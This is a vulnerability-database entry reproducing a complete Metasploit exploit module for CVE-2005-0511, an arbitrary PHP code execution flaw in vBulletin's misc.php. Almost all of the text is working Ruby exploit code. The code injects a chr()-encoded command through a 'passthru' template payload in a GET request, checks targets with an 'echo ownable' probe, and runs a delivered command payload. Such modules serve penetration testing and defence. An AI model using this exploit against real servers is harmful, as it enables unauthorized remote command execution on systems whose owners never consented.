vBulletin misc.php Template Name Arbitrary Code Execution

2007-01-05T05:58:13
ID MSF:EXPLOIT/UNIX/WEBAPP/PHP_VBULLETIN_TEMPLATE
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits an arbitrary PHP code execution flaw in the vBulletin web forum software. This vulnerability is only present when the "Add Template Name in HTML Comments" option is enabled. All versions of vBulletin prior to 3.0.7 are affected.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  # XXX This module needs an overhaul
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'vBulletin misc.php Template Name Arbitrary Code Execution',
      'Description'    => %q{
          This module exploits an arbitrary PHP code execution flaw in
        the vBulletin web forum software. This vulnerability is only
        present when the "Add Template Name in HTML Comments" option
        is enabled. All versions of vBulletin prior to 3.0.7 are
        affected.
      },
      'Author'         =>
        [
          'str0ke <str0ke[at]milw0rm.com>',
          'cazz'
        ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-0511' ],
          [ 'BID', '12622' ],
          [ 'OSVDB', '14047' ],
        ],
      'Privileged'     => false,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 512,
          'DisableNops' => true,
          'Keys'        => ['cmd', 'cmd_bash'],
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 25 2005'
      ))

    register_options(
      [
        OptString.new('PATH', [ true,  "Path to misc.php", '/forum/misc.php']),
      ])

    deregister_options(
      'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
    )
  end

  def go(command)
    wrapper = rand_text_alphanumeric(rand(128)+32)

    command = "echo #{wrapper};#{command};echo #{wrapper};"
    encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')

    res = send_request_cgi({
        'uri'      => datastore['PATH'],
        'method'   => 'GET',
        'vars_get' =>
          {
            'do' => "page",
            'template' => "{${passthru(#{encoded})}}"
          }
      }, 5)

    if (res and res.body)
      b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)
      if b
        return b.captures[0]
      elsif datastore['HTTP::chunked']
        b = /chunked Transfer-Encoding forbidden/.match(res.body)
        if b
          fail_with(Failure::Unknown, 'Target PHP installation does not support chunked encoding. Support for chunked encoded requests was added to PHP on 12/15/2005. Try disabling HTTP::chunked and trying again.')
        end
      end
    end

    return nil
  end

  def check
    response = go("echo ownable")
    if (!response.nil? and response =~ /ownable/sm)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    response = go(payload.encoded)
    if response == nil
      print_error('exploit failed: no response')
    else
      if response.length == 0
        print_good('Exploit Successful')
      else
        print_status("Command returned #{response}")
      end
      handler
    end
  end
end